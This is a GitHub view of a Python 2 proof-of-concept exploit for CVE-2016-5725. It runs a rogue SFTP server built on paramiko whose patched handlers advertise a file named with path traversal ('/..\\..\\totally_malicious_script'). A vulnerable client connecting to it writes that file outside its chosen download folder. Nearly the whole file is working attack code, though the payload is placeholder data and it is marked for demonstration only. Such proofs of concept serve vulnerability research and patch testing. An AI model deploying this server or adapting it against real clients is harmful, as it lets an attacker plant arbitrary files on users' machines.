forked from tintinweb/pub
-
Notifications
You must be signed in to change notification settings - Fork 0
/
poc.py
120 lines (112 loc) · 3.99 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
###############################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
###############################################################################
import sys
import os
import time
import StringIO
import logging
LOGGER = logging.getLogger(__name__)
try:
from paramiko import ServerInterface, SFTPServerInterface, SFTPServer, SFTPAttributes, \
SFTPHandle, SFTP_OK, AUTH_SUCCESSFUL, OPEN_SUCCEEDED
import sftpserver
except ImportError, ie:
logging.exception(ie)
logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko")
sys.exit(1)
FILES = {} # store fake files
def create_fake_file(filename, size=44):
''' creates sftp compatible file-attrib objects
'''
attr = SFTPAttributes()
attr.st_size = size
attr.st_uid = 0
attr.st_gid = 9
attr.st_mode = 0100666
attr.st_atime = time.time()-10
attr.st_mtime = time.time()-5
attr.filename = filename # traversal
# remove traversal, store real filename in an extra attrib 'basename'
attr.basename = filename.replace("\\","/").rsplit('/',1)[1] if "/" in filename or "\\" in filename else filename
LOGGER.info("** %s"%attr.filename)
return attr
class MonkeyPatch:
''' our implementation of sftp server commands
'''
@staticmethod
def list_folder(self, path):
''' client: ls
'''
LOGGER.info("LIST (%r): %r"%(path,FILES.values()))
return FILES.values()
@staticmethod
def stat(self, path):
''' client: stat
'''
LOGGER.info("STAT (%r)"%path)
if "/" in path or "\\" in path:
# get basename for client provided path (may contain traversal)
path = path.replace("\\","/").rsplit('/',1)[1]
LOGGER.info("STAT - returning: %s"%path)
f = FILES[path]
return create_fake_file(f.filename, f.st_size)
#lstat = stat
@staticmethod
def open(self, path, flags, attr):
''' client: fopen
'''
LOGGER.info("OPEN: %s"%path)
flags = 32768
fobj = sftpserver.stub_sftp.StubSFTPHandle(flags)
fobj.filename = path
if "/" in path or "\\" in path:
path = path.replace("\\","/").rsplit('/',1)[1]
fsize = FILES[path].st_size
data = ("%s"%time.time()).ljust(fsize,'.')[:fsize]
fobj.readfile = StringIO.StringIO(data)
fobj.writefile = StringIO.StringIO()
return fobj
@staticmethod
def remove(self, path):
# make sftp happy
return SFTP_OK
@staticmethod
def rename(self, oldpath, newpath):
return SFTP_OK
@staticmethod
def mkdir(self, path, attr):
return SFTP_OK
@staticmethod
def rmdir(self, path):
return SFTP_OK
@staticmethod
def chattr(self, path, attr):
return SFTP_OK
@staticmethod
def symlink(self, target_path, path):
return SFTP_OK
if __name__=="__main__":
logging.basicConfig(loglevel=logging.DEBUG)
LOGGER.setLevel(logging.DEBUG)
logging.getLogger("paramiko").setLevel(logging.DEBUG)
logging.getLogger("paramiko.transport").setLevel(logging.DEBUG)
LOGGER.info("[cve-2016-5725] sftp server starting... ")
LOGGER.info("* generating fake files")
# generate one file for now.
for fileid in range(1):
ff = create_fake_file("/..\\..\\" +"totally_malicious_script",44) # traversal
# we are storing the basename here as the client might request <any_folder>/ff.basename
FILES[ff.basename]=ff
LOGGER.info("* setting up sftp server")
for m in (_ for _ in dir(MonkeyPatch) if not _.startswith("__")):
LOGGER.info("* monkey patching: %s"%m)
setattr(sftpserver.StubSFTPServer, m, getattr(MonkeyPatch, m)) # Patch in our impls.
LOGGER.info("* starting sftp server...")
sftpserver.main()
LOGGER.info("bye!")